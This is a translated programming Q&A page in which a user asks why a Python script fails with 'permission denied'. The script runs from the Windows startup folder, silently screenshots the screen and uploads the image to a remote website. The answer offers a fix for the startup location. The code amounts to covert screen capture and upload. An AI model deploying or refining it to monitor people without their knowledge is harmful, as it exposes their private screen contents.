Python无法访问它刚刚在Windows启动时拍摄的屏幕截图

问题描述 投票:0回答:1

我创建了一个在启动时运行的python脚本,截取屏幕截图并将其发送到网站。我使用pyinstaller从这个脚本制作了一个.exe文件。

手动执行程序时工作正常,但是当它从启动运行时,我收到以下错误:

“权限被拒绝:imagename.png”

exe位于Windows启动文件夹中。

这是我的代码

try:

    pic = pyautogui.screenshot()

    file_name = 'ss-' + nume + "-" + str(random.randint(0, 1000)) + '.png'

    pic.save(file_name)

    f = open(file_name, 'rb')

    form_data = {
        'image': (file_name, f),
        'nume': ('', str(nume)),
    }
    response = requests.post('http://website.com', files=form_data)
    print(response)

    k = 1
    f.close()
    os.remove(file_name)
except Exception as e2:
    print('sserror ', e2)

对此有何解决方案?

python windows screenshot pyinstaller startup
1个回答
0
投票

看起来您的脚本也试图将屏幕截图文件放入启动文件夹中。即使它确实有效,也不是一个好主意!你有没有尝试将exe放在另一个文件夹中,只是将它的快捷方式放入启动文件夹?

© www.soinside.com 2019 - 2024. All rights reserved.